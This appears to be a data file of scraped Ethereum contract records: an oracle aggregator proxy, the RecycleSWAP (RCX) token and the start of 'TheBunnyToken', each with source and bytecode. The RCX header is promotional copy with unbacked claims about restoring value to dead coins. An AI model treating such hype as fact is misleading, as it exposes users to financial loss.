AggregatorProxy is AggregatorInterface, Owned { AggregatorInterface public aggregator; constructor(address _aggregator) public Owned() { setAggregator(_aggregator); } /** * @notice Reads the current answer from aggregator delegated to. */ function latestAnswer() external virtual override returns (int256) { return _latestAnswer(); } /** * @notice Reads the last updated height from aggregator delegated to. */ function latestTimestamp() external virtual override returns (uint256) { return _latestTimestamp(); } /** * @notice get past rounds answers * @param _roundId the answer number to retrieve the answer for */ function getAnswer(uint256 _roundId) external virtual override returns (int256) { return _getAnswer(_roundId); } /** * @notice get block timestamp when an answer was last updated * @param _roundId the answer number to retrieve the updated timestamp for */ function getTimestamp(uint256 _roundId) external virtual override returns (uint256) { return _getTimestamp(_roundId); } /** * @notice get the latest completed round where the answer was updated */ function latestRound() external virtual override returns (uint256) { return _latestRound(); } /** * @notice get data about a round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * Note that different underlying implementations of AggregatorInterface * have slightly different semantics for some of the return values. Consumers * should determine what implementations they expect to receive * data from and validate that they can properly handle return data from all * of them. * @param _roundId the round ID to retrieve the round data for * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorInterface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. * (Only some AggregatorInterface implementations return meaningful values) * @dev Note that answer and updatedAt may change between queries. */ function getRoundData(uint256 _roundId) external virtual override returns ( uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint256 answeredInRound ) { return _getRoundData(_roundId); } /** * @notice get data about the latest round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * Note that different underlying implementations of AggregatorInterface * have slightly different semantics for some of the return values. Consumers * should determine what implementations they expect to receive * data from and validate that they can properly handle return data from all * of them. * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorInterface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. * (Only some AggregatorInterface implementations return meaningful values) * @dev Note that answer and updatedAt may change between queries. */ function latestRoundData() external virtual override returns ( uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint256 answeredInRound ) { return _latestRoundData(); } /** * @notice represents the number of decimals the aggregator responses represent. */ function decimals() external override returns (uint8) { return aggregator.decimals(); } /** * @notice Allows the owner to update the aggregator address. * @param _aggregator The new address for the aggregator contract */ function setAggregator(address _aggregator) public onlyOwner() { aggregator = AggregatorInterface(_aggregator); } /* * Internal */ function _latestAnswer() internal returns (int256) { return aggregator.latestAnswer(); } function _latestTimestamp() internal returns (uint256) { return aggregator.latestTimestamp(); } function _getAnswer(uint256 _roundId) internal returns (int256) { return aggregator.getAnswer(_roundId); } function _getTimestamp(uint256 _roundId) internal returns (uint256) { return aggregator.getTimestamp(_roundId); } function _latestRound() internal returns (uint256) { return aggregator.latestRound(); } function _getRoundData(uint256 _roundId) internal returns ( uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint256 answeredInRound ) { return aggregator.getRoundData(_roundId); } function _latestRoundData() internal returns ( uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint256 answeredInRound ) { return aggregator.latestRoundData(); } } contract WhitelistedAggregatorProxy is AggregatorProxy, Whitelisted { constructor(address _aggregator) public AggregatorProxy(_aggregator) { } /** * @notice Reads the current answer from aggregator delegated to. * @dev overridden function to add the isWhitelisted() modifier */ function latestAnswer() external override isWhitelisted() returns (int256) { return _latestAnswer(); } /** * @notice Reads the last updated height from aggregator delegated to. * @dev overridden function to add the isWhitelisted() modifier */ function latestTimestamp() external override isWhitelisted() returns (uint256) { return _latestTimestamp(); } /** * @notice get past rounds answers * @param _roundId the answer number to retrieve the answer for * @dev overridden function to add the isWhitelisted() modifier */ function getAnswer(uint256 _roundId) external override isWhitelisted() returns (int256) { return _getAnswer(_roundId); } /** * @notice get block timestamp when an answer was last updated * @param _roundId the answer number to retrieve the updated timestamp for * @dev overridden function to add the isWhitelisted() modifier */ function getTimestamp(uint256 _roundId) external override isWhitelisted() returns (uint256) { return _getTimestamp(_roundId); } /** * @notice get the latest completed round where the answer was updated * @dev overridden function to add the isWhitelisted() modifier */ function latestRound() external override isWhitelisted() returns (uint256) { return _latestRound(); } /** * @notice get data about a round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * Note that different underlying implementations of AggregatorInterface * have slightly different semantics for some of the return values. Consumers * should determine what implementations they expect to receive * data from and validate that they can properly handle return data from all * of them. * @param _roundId the round ID to retrieve the round data for * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorInterface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. * (Only some AggregatorInterface implementations return meaningful values) * @dev Note that answer and updatedAt may change between queries. */ function getRoundData(uint256 _roundId) external isWhitelisted() override returns ( uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint256 answeredInRound ) { return _getRoundData(_roundId); } /** * @notice get data about the latest round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * Note that different underlying implementations of AggregatorInterface * have slightly different semantics for some of the return values. Consumers * should determine what implementations they expect to receive * data from and validate that they can properly handle return data from all * of them. * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. * (Only some AggregatorInterface implementations return meaningful values) * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. * (Only some AggregatorInterface implementations return meaningful values) * @dev Note that answer and updatedAt may change between queries. */ function latestRoundData() external isWhitelisted() override returns ( uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint256 answeredInRound ) { return _latestRoundData(); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80638da5cb5b116100ad578063d936547e11610071578063d936547e14610278578063e43252d71461029e578063f2fde38b146102c4578063f9120af6146102ea578063feaf968c1461031057610121565b80638da5cb5b14610226578063b5ab58dc1461022e578063b633620c1461024b578063cdfb2b4e14610268578063d6b0f4841461027057610121565b806351fb012d116100f457806351fb012d146101ca578063668a0f02146101e657806379ba5097146101ee5780638205bf6a146101f85780638ab1d6811461020057610121565b80630720da5214610126578063245a7bfc1461016e578063313ce5671461019257806350d25bcd146101b0575b600080fd5b6101436004803603602081101561013c57600080fd5b5035610318565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101766103a6565b604080516001600160a01b039092168252519081900360200190f35b61019a6103b5565b6040805160ff9092168252519081900360200190f35b6101b861042c565b60408051918252519081900360200190f35b6101d26104a4565b604080519115158252519081900360200190f35b6101b86104b4565b6101f6610527565b005b6101b86105d6565b6101f66004803603602081101561021657600080fd5b50356001600160a01b0316610649565b6101766106ee565b6101b86004803603602081101561024457600080fd5b50356106fd565b6101b86004803603602081101561026157600080fd5b5035610777565b6101f66107eb565b6101f6610876565b6101d26004803603602081101561028e57600080fd5b50356001600160a01b03166108fb565b6101f6600480360360208110156102b457600080fd5b50356001600160a01b0316610910565b6101f6600480360360208110156102da57600080fd5b50356001600160a01b03166109b8565b6101f66004803603602081101561030057600080fd5b50356001600160a01b0316610a56565b610143610ac5565b33600090815260036020526040812054819081908190819060ff16806103485750600254600160a01b900460ff16155b61038b576040805162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b604482015290519081900360640190fd5b61039486610b51565b939a9299509097509550909350915050565b6002546001600160a01b031681565b6002546040805163313ce56760e01b815290516000926001600160a01b03169163313ce56791600480830192602092919082900301818787803b1580156103fb57600080fd5b505af115801561040f573d6000803e3d6000fd5b505050506040513d602081101561042557600080fd5b5051905090565b3360009081526003602052604081205460ff16806104545750600254600160a01b900460ff16155b610497576040805162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b604482015290519081900360640190fd5b61049f610c07565b905090565b600254600160a01b900460ff1681565b3360009081526003602052604081205460ff16806104dc5750600254600160a01b900460ff16155b61051f576040805162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b604482015290519081900360640190fd5b61049f610c4d565b6001546001600160a01b0316331461057f576040805162461bcd60e51b815260206004820152601660248201527526bab9ba10313290383937b837b9b2b21037bbb732b960511b604482015290519081900360640190fd5b60008054336001600160a01b0319808316821784556001805490911690556040516001600160a01b0390921692909183917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350565b3360009081526003602052604081205460ff16806105fe5750600254600160a01b900460ff16155b610641576040805162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b604482015290519081900360640190fd5b61049f610c93565b6000546001600160a01b03163314610696576040805162461bcd60e51b81526020600482015260166024820152600080516020610e50833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260036020908152604091829020805460ff19169055815192835290517fcdd2e9b91a56913d370075169cefa1602ba36be5301664f752192bb1709df7579281900390910190a150565b6000546001600160a01b031681565b3360009081526003602052604081205460ff16806107255750600254600160a01b900460ff16155b610768576040805162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b604482015290519081900360640190fd5b61077182610cd9565b92915050565b3360009081526003602052604081205460ff168061079f5750600254600160a01b900460ff16155b6107e2576040805162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b604482015290519081900360640190fd5b61077182610d58565b6000546001600160a01b03163314610838576040805162461bcd60e51b81526020600482015260166024820152600080516020610e50833981519152604482015290519081900360640190fd5b6002805460ff60a01b1916600160a01b1790556040517fe5e5846f783279948f6ec5faad38318cde86fe5be7ea845ede56d62f16c3743490600090a1565b6000546001600160a01b031633146108c3576040805162461bcd60e51b81526020600482015260166024820152600080516020610e50833981519152604482015290519081900360640190fd5b6002805460ff60a01b191690556040517f212c6e1d3045c9581ef0adf2504dbb1d137f52f38162ccf77a16c69d14eba5c390600090a1565b60036020526000908152604090205460ff1681565b6000546001600160a01b0316331461095d576040805162461bcd60e51b81526020600482015260166024820152600080516020610e50833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260036020908152604091829020805460ff19166001179055815192835290517fa850ae9193f515cbae8d35e8925bd2be26627fc91bce650b8652ed254e9cab039281900390910190a150565b6000546001600160a01b03163314610a05576040805162461bcd60e51b81526020600482015260166024820152600080516020610e50833981519152604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0383811691821790925560008054604051929316917fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae12789190a350565b6000546001600160a01b03163314610aa3576040805162461bcd60e51b81526020600482015260166024820152600080516020610e50833981519152604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260036020526040812054819081908190819060ff1680610af55750600254600160a01b900460ff16155b610b38576040805162461bcd60e51b815260206004820152600f60248201526e139bdd081dda1a5d195b1a5cdd1959608a1b604482015290519081900360640190fd5b610b40610da5565b945094509450945094509091929394565b6000806000806000600260009054906101000a90046001600160a01b03166001600160a01b0316630720da52876040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b158015610bb457600080fd5b505af1158015610bc8573d6000803e3d6000fd5b505050506040513d60a0811015610bde57600080fd5b508051602082015160408301516060840151608090940151929a91995097509195509350915050565b600254604080516350d25bcd60e01b815290516000926001600160a01b0316916350d25bcd91600480830192602092919082900301818787803b1580156103fb57600080fd5b60025460408051633345078160e11b815290516000926001600160a01b03169163668a0f0291600480830192602092919082900301818787803b1580156103fb57600080fd5b60025460408051634102dfb560e11b815290516000926001600160a01b031691638205bf6a91600480830192602092919082900301818787803b1580156103fb57600080fd5b60025460408051632d6ad63760e21b81526004810184905290516000926001600160a01b03169163b5ab58dc91602480830192602092919082900301818787803b158015610d2657600080fd5b505af1158015610d3a573d6000803e3d6000fd5b505050506040513d6020811015610d5057600080fd5b505192915050565b60025460408051632d8cd88360e21b81526004810184905290516000926001600160a01b03169163b633620c91602480830192602092919082900301818787803b158015610d2657600080fd5b6000806000806000600260009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381600087803b158015610dfd57600080fd5b505af1158015610e11573d6000803e3d6000fd5b505050506040513d60a0811015610e2757600080fd5b508051602082015160408301516060840151608090940151929991985096509194509250905056fe4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000a26469706673582212203aaa61f3a2dcc810b66b70336aca27281f9336b07f9908514576384e3e3b203e64736f6c63430006020033
{"success": true, "error": null, "results": {}}
7,333
0xe8bbae53ad91a97ef1fd9846b2d931ab761b643e
/** >> RecycleSWAP Project << APRIL 8, 2022 https://recycleswap.net Initial Supply: 369,888,369,888 RCX NAME: RecycleSwap Symbol: RCX RecycleSWAP (RCX) Project is a recycling solution. The mechanism will authorize the dead coin and token holders, to transfer their coins to the RecycleSWAP and get its tradable coin instead. This will be at restored value to individual holders who can sell, trade, stake, liquidate tokens into pools, or circulate their RecycleSWAP tokens in to the market, and the recycling of project assets back into the community. Regarding to the conceptual description of recycling, and its multifunction methodologies, it is clear that the main reason of RecycleSWAP Project is economics and the potential behind its recycleing strategy, considering the technical requirements it's supposed to fullfil. The RecycleSWAP is going to perform an economic task that no other asset could carry out since the birth of Bitcoin. RecycleSWAP tokens have potential to restore a portion of the value from other currencies that were reduced because of lack of the demand, or lost by a rug pull from its developers or large holders. Proposed Solution ----------------- 1. Revaluation of dead coin and tokens. 2. Set up a system to restore and transfer this trapped value in a user-friendly platform. 3. RecycleSWAP Token is a convertible token to transferable real coin. 4. RecycleSWAP Token Holders can trade their valueless tokens and coins into Bitcoin, Ethereum, Solano, and other leading cryptocurrencies will be listed @ RCX Official Website. 5. Unifying of failed and dead coin holders, will permit the RecycleSWAP Project to clean up the market, and effectively eliminate the remaining coins to retain their value. 6. RecycleSWAP is the fast and effective way to reform and rehabilitate the value of the market. 7. RecycleSWAP holders will have an opportunity to reinvest their regenerated tokens to tradable cryptocurrency projects. 8. RecycleSWAP aims to implement and integrate projects, with the power of its holders. Tokenomics ---------- 10% First stage ICO 30% Add Liquidity to the market 25% R&D 30% Reserve in contract (Control value of coin) 5% Reserve for the future partners and exchangers At this point, it should be clear to any holder that listing RecycleSWAP on exchanges is a critical element in the success of this phase of the RecycleSWAP project. Without listing, RecycleSWAP cannot offer a proper gateway to our communities in order to release value of their dead tokens and coins, into the market. Although there are no guarantees that any cryptocurrency or token will ever get listed on any exchange, the RecycleSWAP team has been holding talks with various exchanges to list RecycleSWAP (RCX) token once it enters the market. */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; interface RCX { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface RCXMetadata is RCX { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract RecycleSWAP is Context, RCX, RCXMetadata { address public admin; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _mint(msg.sender, 369888369888 * 10 ** 18); admin = msg.sender; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function burn(uint256 value) public { _burn(msg.sender, value); } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "RCX: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "RCX: transfer from the zero address"); require(to != address(0), "RCX: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "RCX: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "RCX: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "RCX: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "RCX: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "RCX: approve from the zero address"); require(spender != address(0), "RCX: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "RCX: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c578063a457c2d711610066578063a457c2d7146101a2578063a9059cbb146101b5578063dd62ed3e146101c8578063f851a4401461020157600080fd5b806342966c681461015c57806370a082311461017157806395d89b411461019a57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc61022c565b6040516100e9919061098b565b60405180910390f35b610105610100366004610948565b6102be565b60405190151581526020016100e9565b6003545b6040519081526020016100e9565b61010561013536600461090c565b6102d6565b604051601281526020016100e9565b610105610157366004610948565b6102fa565b61016f61016a366004610972565b610339565b005b61011961017f3660046108b7565b6001600160a01b031660009081526001602052604090205490565b6100dc610346565b6101056101b0366004610948565b610355565b6101056101c3366004610948565b6103ea565b6101196101d63660046108d9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600054610214906001600160a01b031681565b6040516001600160a01b0390911681526020016100e9565b60606004805461023b90610a0f565b80601f016020809104026020016040519081016040528092919081815260200182805461026790610a0f565b80156102b45780601f10610289576101008083540402835291602001916102b4565b820191906000526020600020905b81548152906001019060200180831161029757829003601f168201915b5050505050905090565b6000336102cc8185856103f8565b5060019392505050565b6000336102e4858285610511565b6102ef8585856105a3565b506001949350505050565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091906102cc90829086906103349087906109e0565b6103f8565b610343338261076a565b50565b60606005805461023b90610a0f565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909190838110156103dd5760405162461bcd60e51b815260206004820152602360248201527f5243583a2064656372656173656420616c6c6f77616e63652062656c6f77207a60448201526265726f60e81b60648201526084015b60405180910390fd5b6102ef82868684036103f8565b6000336102cc8185856105a3565b6001600160a01b0383166104595760405162461bcd60e51b815260206004820152602260248201527f5243583a20617070726f76652066726f6d20746865207a65726f206164647265604482015261737360f01b60648201526084016103d4565b6001600160a01b0382166104af5760405162461bcd60e51b815260206004820181905260248201527f5243583a20617070726f766520746f20746865207a65726f206164647265737360448201526064016103d4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03838116600090815260026020908152604080832093861683529290522054600019811461059d57818110156105905760405162461bcd60e51b815260206004820152601b60248201527f5243583a20696e73756666696369656e7420616c6c6f77616e6365000000000060448201526064016103d4565b61059d84848484036103f8565b50505050565b6001600160a01b0383166106055760405162461bcd60e51b815260206004820152602360248201527f5243583a207472616e736665722066726f6d20746865207a65726f206164647260448201526265737360e81b60648201526084016103d4565b6001600160a01b0382166106655760405162461bcd60e51b815260206004820152602160248201527f5243583a207472616e7366657220746f20746865207a65726f206164647265736044820152607360f81b60648201526084016103d4565b6001600160a01b038316600090815260016020526040902054818110156106da5760405162461bcd60e51b8152602060048201526024808201527f5243583a207472616e7366657220616d6f756e7420657863656564732062616c604482015263616e636560e01b60648201526084016103d4565b6001600160a01b038085166000908152600160205260408082208585039055918516815290812080548492906107119084906109e0565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161075d91815260200190565b60405180910390a361059d565b6001600160a01b0382166107c05760405162461bcd60e51b815260206004820152601f60248201527f5243583a206275726e2066726f6d20746865207a65726f20616464726573730060448201526064016103d4565b6001600160a01b038216600090815260016020526040902054818110156108295760405162461bcd60e51b815260206004820181905260248201527f5243583a206275726e20616d6f756e7420657863656564732062616c616e636560448201526064016103d4565b6001600160a01b03831660009081526001602052604081208383039055600380548492906108589084906109f8565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610504565b80356001600160a01b03811681146108b257600080fd5b919050565b6000602082840312156108c957600080fd5b6108d28261089b565b9392505050565b600080604083850312156108ec57600080fd5b6108f58361089b565b91506109036020840161089b565b90509250929050565b60008060006060848603121561092157600080fd5b61092a8461089b565b92506109386020850161089b565b9150604084013590509250925092565b6000806040838503121561095b57600080fd5b6109648361089b565b946020939093013593505050565b60006020828403121561098457600080fd5b5035919050565b600060208083528351808285015260005b818110156109b85785810183015185820160400152820161099c565b818111156109ca576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156109f3576109f3610a4a565b500190565b600082821015610a0a57610a0a610a4a565b500390565b600181811c90821680610a2357607f821691505b60208210811415610a4457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212205e93935f6433a6254b42fa2297d49f4863051ed6619978c1389f315f06d0dc2364736f6c63430008070033
{"success": true, "error": null, "results": {}}
7,334
0xb5347109e6b57a9435adf795789ee173d9e7ab35
/* The Bunny Token https://t.me/TheBunnyToken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TheBunnyToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "@TheBunnyToken"; string private constant _symbol = "BUNNY"; uint8 private constant _decimals = 9; //RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _redisfee = 2; //Bots mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function maxtx(uint256 maxTxpc) external { require(_msgSender() == _teamAddress); require(maxTxpc > 0); _maxTxAmount = _tTotal.mul(maxTxpc).div(10**4); emit MaxTxAmountUpdated(_maxTxAmount); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 1; _redisfee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the 